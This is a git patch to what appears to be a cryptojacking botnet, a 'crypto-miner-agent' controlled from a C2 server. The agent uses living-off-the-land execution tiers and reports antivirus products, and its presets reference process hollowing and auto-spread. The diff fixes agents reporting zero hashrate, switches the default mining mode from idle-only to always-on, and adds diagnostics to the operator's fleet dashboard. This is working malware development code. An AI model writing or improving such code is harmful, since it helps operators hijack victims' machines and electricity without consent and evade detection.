From 456988caaa267c1333161c1cdad9d5122e6cc6b3 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 20:30:24 -0700 Subject: [PATCH] Fix simple deploy mining: refresh auth tier policy and mine immediately. Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch. --- agent/client/client.go | 13 +++++++--- agent/client/mining_chain.go | 11 ++++++++ agent/client/mining_diagnostics.go | 26 +++++++++++++++++++ agent/client/mining_ready.go | 12 +++++++-- agent/client/protocol.go | 3 ++- agent/client/simple_deploy_test.go | 19 ++++++++++++++ server/internal/api/websocket.go | 6 ++++- .../Fleet/ConnectedNotMiningBanner.tsx | 6 ++++- server/web/src/help/applyStatsUpdate.ts | 1 + server/web/src/help/simpleDeploy.test.ts | 1 + server/web/src/help/simpleDeploy.ts | 12 +++++++-- server/web/src/help/wsStatsCoalesce.ts | 1 + server/web/src/types/index.ts | 2 ++ server/web/src/types/ws.ts | 2 ++ 14 files changed, 105 insertions(+), 10 deletions(-) diff --git a/agent/client/client.go b/agent/client/client.go index 0dcc1cf..4c23d5d 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.StratumEgress = c.stratumEgress(false) } stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if stats.MiningHashrate < 1 { + if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" { + stats.MiningBlockReason = reason + } + } if depth := c.contingencyDepthForStats(); depth > 0 { stats.ContingencyDepth = depth } @@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() { if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode { return } - if c.cfg.SimpleDeploy || deploy.WantsDeferMining() { - return - } if c.miningCtx == nil || c.miningChain == nil { return } go func() { + c.miningChain.refreshTierOrchestrator() + if c.cfg.SimpleDeploy || deploy.WantsDeferMining() { + log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)") + return + } log.Printf("[mining] restarting chain after auth with server policy") c.miningChain.Restart(c.miningCtx) }() diff --git a/agent/client/mining_chain.go b/agent/client/mining_chain.go index 1194b44..960a30c 100644 --- a/agent/client/mining_chain.go +++ b/agent/client/mining_chain.go @@ -126,8 +126,19 @@ func (r *MiningChainRunner) Start(ctx context.Context) { r.startMiningCascade(ctx) } +// refreshTierOrchestrator rebuilds the tier onion from the latest server/auth policy. +// newMiningChainRunner() captures policy at process start — auth may apply ForceTier later. +func (r *MiningChainRunner) refreshTierOrchestrator() { + c := r.client + probes := miner.ProbeEnvironment(miner.RuntimeDetector) + r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(func() bool { + return newGPUMiner(c.cfg) != nil + }), r.reportTierEvent) +} + // startMiningCascade runs the existing LOTL mining onion + fallback chain. func (r *MiningChainRunner) startMiningCascade(ctx context.Context) { + r.refreshTierOrchestrator() execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg) probes := miner.ProbeEnvironment(miner.RuntimeDetector) tierReport := r.tiers.Report() diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go index e27c141..bfc2f18 100644 --- a/agent/client/mining_diagnostics.go +++ b/agent/client/mining_diagnostics.go @@ -3,6 +3,7 @@ package client import ( "encoding/json" "runtime" + "strings" "time" "crypto-miner-agent/miner" @@ -26,6 +27,7 @@ type MiningDiagnostics struct { C2Connected bool `json:"c2_connected"` LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"` MiningMode string `json:"mining_mode"` + Wallet string `json:"wallet,omitempty"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` InstallDir string `json:"install_dir,omitempty"` @@ -112,6 +114,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { d.LastJobAgeSec = &age } d.MiningMode = c.cfg.MiningMode + d.Wallet = c.cfg.Wallet d.PoolHost = c.cfg.PoolHost d.PoolPort = c.cfg.PoolPort if dir, err := c.cfg.InstallDirectory(); err == nil { @@ -254,8 +257,31 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { return d } +// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate. +func PrimaryMiningBlockReason(d MiningDiagnostics) string { + if len(d.LikelyBlockers) > 0 { + return d.LikelyBlockers[0] + } + if d.CPU.ScheduleBlocked { + return "mining_mode schedule/idle guard blocking workers" + } + if d.ChainExhausted { + return "mining fallback chain exhausted — all primary methods failed" + } + if !d.C2Connected { + return "waiting for C2 registration" + } + return "" +} + func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string { var blockers []string + if strings.TrimSpace(d.Wallet) == "" { + blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge") + } + if strings.TrimSpace(d.PoolHost) == "" { + blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge") + } if d.CPU.RemotePaused { blockers = append(blockers, "mining paused by remote command or healthy container delegation") } diff --git a/agent/client/mining_ready.go b/agent/client/mining_ready.go index 50edf88..94503b1 100644 --- a/agent/client/mining_ready.go +++ b/agent/client/mining_ready.go @@ -5,6 +5,8 @@ import ( "log" "strings" "time" + + "crypto-miner-agent/deploy" ) // MiningDiagnosticsReady reports whether the agent may start the mining fallback chain. @@ -49,14 +51,20 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) { c.miningChain.Start(ctx) } + requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining() for { if MiningDiagnosticsReady(c.collectMiningDiagnostics()) { tryStart("diagnostics pass") return } if time.Now().After(deadline) { - tryStart("diagnostics wait timeout") - return + if requireC2 && !c.connected.Load() { + log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration") + deadline = time.Now().Add(maxWait) + } else { + tryStart("diagnostics wait timeout") + return + } } select { case <-ctx.Done(): diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 387a6f4..e71bf33 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -161,7 +161,8 @@ type StatsPayload struct { ChainExhausted bool `json:"chain_exhausted,omitempty"` // Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat) - MiningHashrate float64 `json:"mining_hashrate,omitempty"` + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + MiningBlockReason string `json:"mining_block_reason,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"` AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` diff --git a/agent/client/simple_deploy_test.go b/agent/client/simple_deploy_test.go index db7232a..47e44f2 100644 --- a/agent/client/simple_deploy_test.go +++ b/agent/client/simple_deploy_test.go @@ -51,6 +51,25 @@ func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) { time.Sleep(200 * time.Millisecond) } +func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) { + setupNoContainerRuntime(t) + cfg := baseMiningCfg() + cfg.SimpleDeploy = true + cfg.MinerExecution = "inprocess" + c := miningChainTestClient(t, cfg) + r := c.newMiningChainRunner() + if len(r.tiers.Report().TierChainOrder) == 0 { + t.Fatal("expected default tier chain before auth") + } + raw, _ := json.Marshal(map[string]string{"force_tier": "cpu_inprocess"}) + c.applyMiningTierPolicyJSON(raw) + r.refreshTierOrchestrator() + chain := r.tiers.Report().TierChainOrder + if len(chain) != 1 || chain[0] != miner.TierCPUInprocess { + t.Fatalf("expected force cpu_inprocess after auth refresh, got %v", chain) + } +} + func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index c83e87e..dc2e298 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -1192,7 +1192,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { At string `json:"at"` } `json:"failed_methods,omitempty"` // Fleet health mining telemetry (coalesced into stats_batch) - MiningHashrate float64 `json:"mining_hashrate,omitempty"` + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + MiningBlockReason string `json:"mining_block_reason,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []struct { Tier string `json:"tier"` @@ -1356,6 +1357,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if stats.MiningHashrate > 0 { broadcast["mining_hashrate"] = stats.MiningHashrate } + if stats.MiningBlockReason != "" { + broadcast["mining_block_reason"] = stats.MiningBlockReason + } if stats.LOTLTier != "" { broadcast["lotl_tier"] = stats.LOTLTier } diff --git a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx index 7570d98..91d32a1 100644 --- a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx +++ b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx @@ -42,7 +42,11 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing

- {status.message}. "Deploy" here means C2 registration + mining tier probe — not lateral spread. + {status.message} + {sample.mining_block_reason && sample.mining_block_reason !== status.message + ? ` — ${sample.mining_block_reason}` + : ''} + . "Deploy" here means C2 registration + mining tier probe — not lateral spread. Check Calibrate wallet/pool, then run diagnostics or restart mining.

diff --git a/server/web/src/help/applyStatsUpdate.ts b/server/web/src/help/applyStatsUpdate.ts index fe4d966..b57b6bf 100644 --- a/server/web/src/help/applyStatsUpdate.ts +++ b/server/web/src/help/applyStatsUpdate.ts @@ -59,6 +59,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent { ...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}), ...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}), ...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}), + ...(update.mining_block_reason !== undefined ? { mining_block_reason: update.mining_block_reason } : {}), ...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}), ...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}), ...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}), diff --git a/server/web/src/help/simpleDeploy.test.ts b/server/web/src/help/simpleDeploy.test.ts index d845a35..1f04a18 100644 --- a/server/web/src/help/simpleDeploy.test.ts +++ b/server/web/src/help/simpleDeploy.test.ts @@ -59,6 +59,7 @@ describe('simpleMinePreset', () => { const p = simpleMinePreset(); expect(p.simple_deploy).toBe(true); expect(p.miner_execution).toBe('inprocess'); + expect(p.mining_mode).toBe('always'); expect(p.lotl_onion_enabled).toBe(false); expect(p.auto_spread).toBe(false); }); diff --git a/server/web/src/help/simpleDeploy.ts b/server/web/src/help/simpleDeploy.ts index 3172afa..d8ac5ca 100644 --- a/server/web/src/help/simpleDeploy.ts +++ b/server/web/src/help/simpleDeploy.ts @@ -34,7 +34,7 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus { } if (agent.chain_exhausted) { - const err = agent.last_error || agent.failed_methods?.[0]?.reason; + const err = agent.mining_block_reason || agent.last_error || agent.failed_methods?.[0]?.reason; return { phase: 'failed', message: err || 'Mining chain exhausted — all tiers failed', @@ -42,6 +42,14 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus { }; } + if (agent.mining_block_reason) { + return { + phase: 'testing', + message: agent.mining_block_reason, + tier, + }; + } + if (tier) { return { phase: 'testing', @@ -94,6 +102,6 @@ export function simpleMinePreset(): { process_hollowing: false, remote_aggressive: false, fusion_enabled: false, - mining_mode: 'idle', + mining_mode: 'always', }; } diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts index a25f99f..1b29e26 100644 --- a/server/web/src/help/wsStatsCoalesce.ts +++ b/server/web/src/help/wsStatsCoalesce.ts @@ -50,6 +50,7 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean { if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false; if (u.services !== undefined && agent.services !== u.services) return false; if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false; + if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false; if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false; if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false; if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false; diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 5f335a6..17baeb9 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -94,6 +94,8 @@ export interface Agent { /** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */ mining_hashrate?: number; + /** Primary reason agent reports zero hashrate (from stats_batch). */ + mining_block_reason?: string; /** Living-off-the-land execution tier reported by agent. */ lotl_tier?: string; /** Per-tier attempt history from agent TierReport. */ diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index fe052af..3959e84 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -76,6 +76,8 @@ export interface WSStatsUpdate { /** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */ mining_hashrate?: number; + /** Primary reason for zero hashrate when agent is online. */ + mining_block_reason?: string; /** LOTL tier label for spread telemetry badges. */ lotl_tier?: string; lotl_attempts?: import('./lotl').TierAttempt[];